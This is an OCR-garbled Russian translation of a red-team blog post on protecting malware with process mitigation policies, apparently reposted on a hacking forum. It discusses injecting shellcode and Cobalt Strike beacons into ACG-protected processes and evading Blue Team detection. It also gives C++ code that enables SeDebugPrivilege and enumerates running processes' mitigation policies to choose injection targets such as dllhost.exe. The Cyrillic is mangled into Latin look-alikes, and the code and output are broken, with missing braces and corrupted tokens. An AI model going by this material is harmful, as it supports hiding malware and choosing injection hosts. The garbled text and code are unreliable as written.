Hamnpumep, eciv Mbl BO3bMEM KaKOU-HUOY/Ib ITPOCTOM IIEJI-KOJ IS co3aHusA cmd.exe u
BHEJIPUM €TO B IIPOIleCE, 3alUIIEHHBIN ¢ TOMOIbI0 ACG, MBI IEHCTBUTETBHO YBUAUM, YTO 3TO
BBITIOJTHSIETCSI HOPMAJIBHO:



i .
General Statistics Performance Threads Token Modules Memory Environment Handles GPU  Comment
File
COM Surrogate

. Verified) Microsoft Windows
Version: 10.0.18362.1

Image file name:
‘ C:\Windows\System32\dllhost.exe

ye

Process
Command line: ‘ C:\WINDOWS\system32\DIIHost.exe /Processid:{973D20D7-562D-44B9-B705-5A0F49CCDF3F} Q

Current directory: | C:\WINDOWS\system32\ ‘

Started: ‘ 2 minutes and 26 seconds ago (22:13:20 03/11/2019) ‘

PEB address: ‘ 0x20c37f4000 Image type: 64-bit

Parent: ‘ svchost.exe (812) Q

Mitigation policies: ‘ DEP (permanent); ASLR (high entropy, force relocate); Dynamic code prohibited; Strict handle checks; Extension points disabled; CF Guard; Signatures restricted (Microsoft l‘ Details

Protection: None Permissions Terminate

¥ C:\WINDOWS\SYSTEM32\cmd.exe

Microsoft Windows [Version 10.0.18362.418]
(c) 2019 Microsoft Corporation. All rights reserved.

v ® dihostexe 12088 C: \WINDOWS\system32>_
v @ cmd.exe 792
& conhost.exe 10912 0.04

CiiemyeT OTMETHUTD, UYTO BHeZpeHNUe uero-To Bposie beacon Cobalt Strike B HacTosiee Bpems He
paboTaeT ¢ 3TUM MeTO/IOM U3-32 3aBUCUMOCTH OT BBbIJIeJIEHU U U3MEHEHUs CTPaHUIl TaMATH
1711 RWX. fI mpo6oBajt HECKOJIBKO Pa3HBIX BADUAHTOB MPOd I, UTOOBI 000UTH 3TO (B
OCHOBHOM, pa3JINYHbIE IaPaMETPHhI USerwx), HO B HACTOsAIIEe BPeMs, II0X0XKe, TpedyeTcs
MoaudUKays MaMAaTH /11 3alIUCH, a 3aTeM /I UCIIoIHAeMoro daiiia.

OnepanyoHHbBIE COOOPAKEHUA

Teneps, mpesk/ie YeM MbI IIEPEH/IEM U IIPEICTAaBUM 3TH 3aIUTHI VIS BCEX HAIIINX 3aTPY3YUKOB/
CTEN/I?)KEPOB, MBI JIOJKHBI PACCMOTPETh, KaK 9TO MOXKeT ITOBJIUATh HA HAIILy OIlePAI[OHHYIO

6eszomnacHocTh. Hampumep, ecyti Mbl HAUHEM HOPOKIATh ITPOU3BOJIbHbBIE IPOIIECCHI U 3AIUIIATH

HX BCE C TTIOMOIIBIO
PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON,
MBI MOKeM oTrpaBUTh ¢iar Blue Team , koTopast 3aMedaer, YTO BHE3AITHO CITyYaHBIM

IpoIieccaM Ha3HaYeHbI IOJIUTUKN O€30ITaCHOCTH U 3AIIUTHI

YT0o6BI HOMOYb HAM IIOHATH, KaK 3P (PEKTUBHO COUETATHCS, MBI XOTUM [I€PEUUCTUTH BCE
CYILIeCTBYIOIIIE IIPOLIECCHI C CYIIEeCTBYIOEN MOJIUTUKON. Tereps MbI MOIJIN OBbI HCIIOIB30BATh
komaHpteT Get-ProcessMitigation Powershell, koTopsrii OyzeT Bo3BpamaTs Ir00ble TOJTUTHKU,
OIIpe/ieJIEHHbIE B PEECTPE, OJHAKO MBI 3HAEM, UTO €CTh U IPYTHUE CIIOCOOBI BKJIIOUEHUS 3AIUTHI
Iporiecca Bo BpeMs BBIIIOJTHEHHU:I, TaKHe Kak BbI30B SetMitigationPolicy API, a Tak:xe mpocto
co3/1aHre IPOU3BOJIBLHOTO Iporiecca yepe3 CreateProcessA, kak Moka3aHo BHIIIIE.

YT006bI yOEUTHCS, YTO MBI IIPABUJIBHO MPOGUIUPYEM KaK/IbIH MTPOIECC, JABAUTE CO3aIUM
MIPOCTOU MHCTPYMEHT, KOTOPBIU OyZIeT UCII0Ib30BaTh BbI30B GetProcessMitigationPolicy st
omnpejieJieHNs] Ha3HAaUYeHHbBIX MOJIUTUK O0€30I1aCHOCTHU:






#include <iostream>

#include <Windows.h>

#include <tlhelp32.h>

#include <processthreadsapi.h>

bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege);
void GetProtection(int pid, const char *exe) {

PROCESS_MITIGATION_DYNAMIC_ CODE_POLICY dynamicCodePolicy;
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signaturePolicy;

HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
if (pHandle == INVALID HANDLE_VALUE) {

printf("[!] Error opening handle to %d\n", pid);

return;

// Actually retrieve the mitigation policy for ACG
if (!GetProcessMitigationPolicy(pHandle, ProcessDynamicCodePolicy, &dynamicCodePolicy,
sizeof(dynamicCodePolicy))) {
printf("[!] Could not enum PID %d [%d]\n", pid, GetLastError());
return;

if (dynamicCodePolicy.ProhibitDynamicCode) {
printf("[%s] - ProhibitDynamicCode\n", exe);

if (dynamicCodePolicy.AllowRemoteDowngrade) {
printf("[%s] - AllowRemoteDowngrade\n", exe);

if (dynamicCodePolicy.AllowThreadOptOut) {
printf("[%s] - AllowThreadOptOut\n", exe);

// Retrieve mitigation policy for loading arbitrary DLLs
if (!GetProcessMitigationPolicy(pHandle, ProcessSignaturePolicy, &signaturePolicy,
sizeof(signaturePolicy))) {
printf("Could not enum PID %d\n", pid);
return;

if (signaturePolicy.AuditMicrosoftSignedOnly) {
printf("[%s] AuditMicrosoftSignedOnly\n", exe);

if (signaturePolicy.AuditStoreSignedOnly) {
printf("[%s] - AuditStoreSignedOnly\n", exe);

if (signaturePolicy.MicrosoftSignedOnly) {



printf("[%s] - MicrosoftSignedOnly\n", exe);

if (signaturePolicy.MitigationOptIn) {
printf("[%s] - MitigationOptIn\n", exe);

if (signaturePolicy.StoreSignedOnly) {
printf("[%s] - StoreSignedOnly\n", exe);

¥
}
int main()
{

HANDLE snapshot;
PROCESSENTRY32 ppe;

HANDLE accessToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST PRIVILEGES | TOKEN_QUERY,
&accessToken)) {
printf("[!] Error opening process token\n");
return 1;

// Provide ourself with SeDebugPrivilege to increase our enumeration chances
SetPrivilege(accessToken, SE_DEBUG_NAME);

// Prepare handle to enumerate running processes
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, ©);
if (snapshot == INVALID HANDLE_VALUE) {
printf("[!] Error: CreateToolhelp32Snapshot\n");
return 2;

ppe.dwSize = sizeof (PROCESSENTRY32);
Process32First(snapshot, &ppe);

do {
// Enumerate process mitigations
GetProtection(ppe.th32ProcessID, ppe.szExeFile);
} while (Process32Next(snapshot, &ppe));

bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege) {

TOKEN_PRIVILEGES tp;
LUID luid;

if (!LookupPrivilegeValue(
NULL,
lpszPrivilege,
&luid))



printf("[!] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;

tp.PrivilegeCount = 1;
tp.Privileges[@].Luid = luid;
tp.Privileges[@].Attributes = SE_PRIVILEGE_ENABLED;

if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,

(PDWORD)NULL))

{
printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;

}

return TRUE;

3amycrus 310 Ha 3k3eMIuLsipe Windows 10 B Moeli tabopaTtopuu, 661710 00HAPY?KEHO, YTO
HECKOJIBKO IIPOIIECCOB BKJIIOYUIIN 0€30I1aCHOCTD:



[MicrosoftEdge.exe] ProhibitDynamicCode
[MicrosoftEdge.exe] AllowRemoteDowngrade
[MicrosoftEdge.exe] MitigationOptIn
[MicrosoftEdge.exe] StoreSignedOnly
[browser_broker.exe] - ProhibitDynamicCode
[browser_broker.exg],-_Mi osqft51gned0nly
[browser_broker. ex%— % OptIn
[RuntimeBroker.exeT = amicCode
[RuntimeBroker.exe] - MicrosoftSignedOnly
[RuntimeBroker.exe] - MitigationOptIn
[MicrosoftEdgeSH.exe] - MitigationOptIn
[MicrosoftEdgeSH.exe] - StoreSignedOnly
[MicrosoftEdgeCP.exe] - ProhibitDynamicCode
[MicrosoftEdgeCP.exe] - AllowRemoteDowngrade

[MicrosoftEdgeCP.exe] - MitigationOptIn
[MicrosoftEdgeCP.exe] - StoreSignedOnly

HeynuBuTesibHO, YTO 3TH IIPOIECCHl B OCHOBHOM Bpariatorcs BOkpyr Edge, ofHako y Hac Tak:ke
€CTb PSAJI APYTUX aJIbTePHATUB, TakuX Kak fontdrvhost.exe u dllhost.exe, koTopbie MmoryT
0Ka3aThCs KU3HECTIOCOOHBIMU KaHAUaTaAMU /IJIsI TAPTETHHTA U He MOBEPKEHbI HU3KOH
niesioctHoctd (low-integrity).

Hapnerocs, 3TOT IIOCT 1a71 BaM HECKOJIBKO JIONIOJTHUTEIBHBIX H/led 110 CO3/IaHUI0 U BHEIPEHUIO
BAaIIIMX I10JIE3HBIX HATPY30K, U IIPU OCTOPOKHOM HCII0JIb30BAHUH, A [yMalo, y HaC eCTh
3¢ PeKTUBHBIN NHCTPYMEHT, KOTOPBIN MOXKEeT BbI3BAaTh HEKOTOPYIO ITyTaHUILY.

Ecsu BBI couTteTe 5TU BapuaHThI 3 GEeKTUBHBIMH, COOOIIHTE MHE 110 OOBIYHBIM KaHajiaM, ObLIO
OBI HEIUIOXO YBU/IETh IPUMEPHI IIOCTABIINKOB, HA KOTOPBIX MOTYT noBauATh blockdll u ACG.
Xopotieii 0X0TbI!

Ucrounuk: https://blog.xpnsec.com/protecting-your-malware/
AsTop nepeBojia: yashechka
IIepeBeneHO crienUaJIBHO I mopTtaia XSS.is (¢)
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